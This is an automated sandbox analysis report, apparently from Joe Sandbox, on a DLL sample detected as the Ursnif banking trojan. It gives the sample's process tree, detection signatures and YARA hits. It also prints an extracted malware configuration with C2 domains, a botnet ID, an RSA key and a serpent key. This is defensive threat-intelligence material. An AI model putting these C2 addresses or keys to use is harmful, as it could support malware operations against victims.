Play interactive tour

Edit tour

Windows Analysis Report B6VQd36tt6.dll

Overview

General Information

Sample Name:	B6VQd36tt6.dll
Analysis ID:	500299
MD5:	c4c060ec6b1e42d70972d0af66a04e66
SHA1:	3ef84847fceb31b8814c12c94c57c72a5281d6f5
SHA256:	47715e425398283d53019c270311ad0c709f660048d2f884d5116d80b983743f
Tags:	BRTdllgeoGoziISFBITAUrsnif
Infos:
Most interesting Screenshot:

Detection

Ursnif

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Ursnif

System process connects to network (likely due to code injection or exploit)

Multi AV Scanner detection for domain / URL

Writes or reads registry keys via WMI

Writes registry values via WMI

Uses 32bit PE files

One or more processes crash

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Detected potential crypto function

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

IP address seen in connection with other malware

Creates a DirectInput object (often for capturing keystrokes)

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6116 cmdline: loaddll32.exe 'C:\Users\user\Desktop\B6VQd36tt6.dll' MD5: 72FCD8FB0ADC38ED9050569AD673650E)

cmd.exe (PID: 4024 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\B6VQd36tt6.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 4720 cmdline: rundll32.exe 'C:\Users\user\Desktop\B6VQd36tt6.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 4892 cmdline: rundll32.exe C:\Users\user\Desktop\B6VQd36tt6.dll,BeGrass MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 4364 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4892 -s 864 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

rundll32.exe (PID: 5780 cmdline: rundll32.exe C:\Users\user\Desktop\B6VQd36tt6.dll,Fieldeight MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 2836 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5780 -s 840 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

rundll32.exe (PID: 724 cmdline: rundll32.exe C:\Users\user\Desktop\B6VQd36tt6.dll,Often MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 4736 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 724 -s 636 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "UmEkthy8LQToWYBqtBaWyLn/P1d2KjpXi9nl2is1X7NEi7AW4Al92U7HvBiCwWHgXhs6UyTZ7q6npv3YCi+rPS7xAyorWWgcyyviEpE9CETDXviZ72XZkxmen4ztvEtct+obFAEe0tiXOsfOcC8xDsI0CHPpvmUknsexTYqAJgwcghgx1mGHx/yFM4fnPYw4mFFE6bVI7eMnbu1CuunRmAVRDHZ7MAS7zSkAmYjeo1zAzRnOEWgblRHwenmwlBtp0SFGuYCGVe3TZZ4Nndgpd5xpSeLOoSZi/fRXjtS8b6LXBS/zslRCRObMDjDX4pa1fM1uOgFHyvjANgWJpZ272bpOHjM52/hsEGZXskaNztU=", "c2_domain": ["msn.com/mail", "breuranel.website", "outlook.com/signup", "areuranel.website"], "botnet": "8899", "server": "12", "serpent_key": "56473871MNTYAIDA", "sleep_time": "10", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0", "DGA_count": "10"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.499708236.00000000057E8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000002.785119761.00000000053F0000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.638534724.0000000002D1F000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.498145572.00000000057E8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.506367708.0000000003098000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.419038437.0000000003030000.00000040.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000000.00000003.550238977.0000000002F1B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.506469970.0000000003098000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.506985927.0000000003098000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.500076992.00000000057E8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.506632233.0000000003098000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.636450090.000000000546F000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.506394245.0000000003098000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.446200223.00000000007B0000.00000040.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000000.00000003.506684501.0000000003098000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.455038196.0000000000850000.00000040.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000003.499560563.00000000057E8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.497950814.00000000057E8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.498605690.00000000057E8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000006.00000003.452964722.0000000000D70000.00000040.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000003.499306032.00000000057E8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000002.783361786.0000000002CA0000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.506547628.0000000003098000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.499390422.00000000057E8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.499160942.00000000057E8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.592754619.000000000556D000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.506326169.0000000003098000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.546937803.000000000566B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000002.784698066.0000000005039000.00000004.00000040.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000000.00000002.783230082.0000000002B79000.00000004.00000040.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000002.00000003.418099861.0000000000A60000.00000040.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000000.00000003.595315126.0000000002E1D000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.506579239.0000000003098000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: loaddll32.exe PID: 6116	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: rundll32.exe PID: 4720	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 30 entries

Unpacked PEs

Source	Rule	Description	Author
3.2.rundll32.exe.50394a0.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.2.loaddll32.exe.6e610000.2.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.3.rundll32.exe.a6a31a.0.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.3.loaddll32.exe.85a31a.0.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
6.3.rundll32.exe.d7a31a.0.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.2.rundll32.exe.3050000.0.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
6.3.rundll32.exe.d7a31a.0.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.2.rundll32.exe.50394a0.1.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.3.rundll32.exe.303a31a.0.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.3.loaddll32.exe.85a31a.0.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
5.3.rundll32.exe.7ba31a.0.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.2.loaddll32.exe.2b794a0.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.2.loaddll32.exe.830000.0.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.3.rundll32.exe.a6a31a.0.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
5.3.rundll32.exe.7ba31a.0.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.3.rundll32.exe.303a31a.0.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.2.rundll32.exe.6e610000.2.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.2.loaddll32.exe.2b794a0.1.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
Click to see the 13 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000003.00000003.419038437.0000000003030000.00000040.00000001.sdmp

Malware Configuration Extractor: Ursnif {"RSA Public Key": "UmEkthy8LQToWYBqtBaWyLn/P1d2KjpXi9nl2is1X7NEi7AW4Al92U7HvBiCwWHgXhs6UyTZ7q6npv3YCi+rPS7xAyorWWgcyyviEpE9CETDXviZ72XZkxmen4ztvEtct+obFAEe0tiXOsfOcC8xDsI0CHPpvmUknsexTYqAJgwcghgx1mGHx/yFM4fnPYw4mFFE6bVI7eMnbu1CuunRmAVRDHZ7MAS7zSkAmYjeo1zAzRnOEWgblRHwenmwlBtp0SFGuYCGVe3TZZ4Nndgpd5xpSeLOoSZi/fRXjtS8b6LXBS/zslRCRObMDjDX4pa1fM1uOgFHyvjANgWJpZ272bpOHjM52/hsEGZXskaNztU=", "c2_domain": ["msn.com/mail", "breuranel.website", "outlook.com/signup", "areuranel.website"], "botnet": "8899", "server": "12", "serpent_key": "56473871MNTYAIDA", "sleep_time": "10", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0", "DGA_count": "10"}

Multi AV Scanner detection for submitted file

Show sources

Source: B6VQd36tt6.dll	Virustotal: Detection: 16%			Perma Link
Source: B6VQd36tt6.dll	ReversingLabs: Detection: 24%

Multi AV Scanner detection for domain / URL

Show sources

Source: areuranel.website	Virustotal: Detection: 6%			Perma Link
Source: breuranel.website	Virustotal: Detection: 6%			Perma Link

Source: B6VQd36tt6.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: unknown	HTTPS traffic detected: 13.82.28.61:443 -> 192.168.2.7:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.82.28.61:443 -> 192.168.2.7:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.97.164.146:443 -> 192.168.2.7:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.101.91.82:443 -> 192.168.2.7:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.97.183.162:443 -> 192.168.2.7:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.97.164.146:443 -> 192.168.2.7:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.97.151.114:443 -> 192.168.2.7:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.97.183.162:443 -> 192.168.2.7:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.82.28.61:443 -> 192.168.2.7:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.82.28.61:443 -> 192.168.2.7:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.97.164.146:443 -> 192.168.2.7:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.97.137.178:443 -> 192.168.2.7:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.97.151.18:443 -> 192.168.2.7:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.97.164.146:443 -> 192.168.2.7:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.101.60.2:443 -> 192.168.2.7:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.97.151.18:443 -> 192.168.2.7:49841 version: TLS 1.2

Source: B6VQd36tt6.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: WinTypes.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdbdH source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: mpr.pdb) source: WerFault.exe, 00000014.00000003.509842537.00000000054B0000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.493177698.00000000032C5000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.507567039.0000000004934000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: sfc_os.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: combase.pdbbH source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: CoreMessaging.pdb_ source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509889795.00000000054C3000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520068624.0000000004BC3000.00000004.00000040.sdmp
Source:	Binary string: lbase.pdb source: WerFault.exe, 00000011.00000003.479795785.00000000048C4000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: mpr.pdb! source: WerFault.exe, 00000011.00000003.485297941.0000000004BF0000.00000004.00000040.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000011.00000003.485297941.0000000004BF0000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509842537.00000000054B0000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520145267.0000000004BB0000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb# source: WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb5 source: WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.493154431.00000000032BF000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.509793696.0000000002C2F000.00000004.00000001.sdmp
Source:	Binary string: CoreMessaging.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509889795.00000000054C3000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520068624.0000000004BC3000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000011.00000003.485303195.0000000004BF4000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509855215.00000000054B4000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520172099.0000000004BB4000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb9 source: WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp
Source:	Binary string: dwmapi.pdb+ source: WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: rundll32.pdbk source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb- source: WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp
Source:	Binary string: imagehlp.pdb& source: WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: ntmarta.pdb@ source: WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp
Source:	Binary string: ntmarta.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdbvH source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb, source: WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdbzH source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.494991181.00000000032CB000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: CoreUIComponents.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: mpr.pdb source: WerFault.exe, 00000011.00000003.485297941.0000000004BF0000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509842537.00000000054B0000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520145267.0000000004BB0000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb> source: WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: setupapi.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: imagehlp.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: sfc.pdb* source: WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb\|H source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: dwmapi.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: CoreUIComponents.pdb" source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: sfc.pdb" source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdbNH source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: msctf.pdbhH source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbk source: WerFault.exe, 00000011.00000003.485303195.0000000004BF4000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509855215.00000000054B4000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520172099.0000000004BB4000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000014.00000003.493154431.00000000032BF000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.509793696.0000000002C2F000.00000004.00000001.sdmp
Source:	Binary string: ole32.pdbl source: WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: CoreUIComponents.pdb* source: WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp
Source:	Binary string: winspool.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdbTH source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: WinTypes.pdbIE source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb,H source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbk source: WerFault.exe, 00000011.00000003.485303195.0000000004BF4000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509855215.00000000054B4000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520172099.0000000004BB4000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdbv source: WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb2 source: WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: msctf.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb? source: WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp
